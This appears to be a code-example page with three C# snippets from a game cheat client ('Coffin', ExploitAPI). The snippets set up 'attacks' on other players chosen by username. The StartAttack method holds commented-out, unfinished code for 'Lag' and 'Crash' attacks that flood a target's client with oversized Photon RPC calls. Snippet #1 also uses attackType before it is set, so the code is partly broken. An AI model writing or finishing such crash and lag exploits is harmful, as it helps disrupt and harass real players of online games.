Beispiel #1
0
        public Attack(CoffinUser Target, CoffinUser Attacker)
        {
            AttackID = new Random().Next(1, 999999);
            Finished = false;

            StartAttack(Target, attackType);
            ConsoleUtils.Success("Called in AttackID: " + AttackID);
        }
Beispiel #2
0
        public static void CallInAttack(CoffinUser Target, AttackType attackType)
        {
            var attack = new Exploits.Attack(Target, PlayerManager.GetCurrentPlayer().ToCoffin());

            attack.attackType = attackType;
            ExploitAPI.CalledInAttacks.Add(attack);

            ConsoleUtils.Success($"Attack on {Target.Username} has been called in successfully. Attack of Type {attackType.ToString()} will now be executed.");
        }
Beispiel #3
0
        public void StartAttack(CoffinUser target, AttackType attackType)
        {
            switch (attackType)
            {
            case AttackType.Lag:
                /*
                 * new Thread(() =>
                 * {
                 *  for(int i = 0; i < new Random().Next(1, 50); i++)
                 *  {
                 *      Networking.RPC(target.Plr.MNDPCPILHDO, target.Plr.gameObject, "RefreshAvatarRPC", new object[new Random().Next(1, 9999)]);
                 *  }
                 *  ConsoleUtils.Success($"Successfully hit the target: {target.Username}.");
                 *  Finished = true;
                 *  StopAttack();
                 * }).Start();
                 */
                //IN PROGRESS ^^
                break;

            case AttackType.Crash:
                /*
                 * object[] array = new object[30000];
                 * PhotonView photonView = PhotonView.Find(1);
                 * new Thread(() =>
                 * {
                 *  for (int i = 0; i < 6; i++)
                 *  {
                 *      photonView.RpcSecure("ReceiveVoiceStatsSyncRPC", target.Plr.IDDIEOAANOD, true, array);
                 *  }
                 * }).Start();
                 */
                //IN PROGRESS ^^
                break;
            }
        }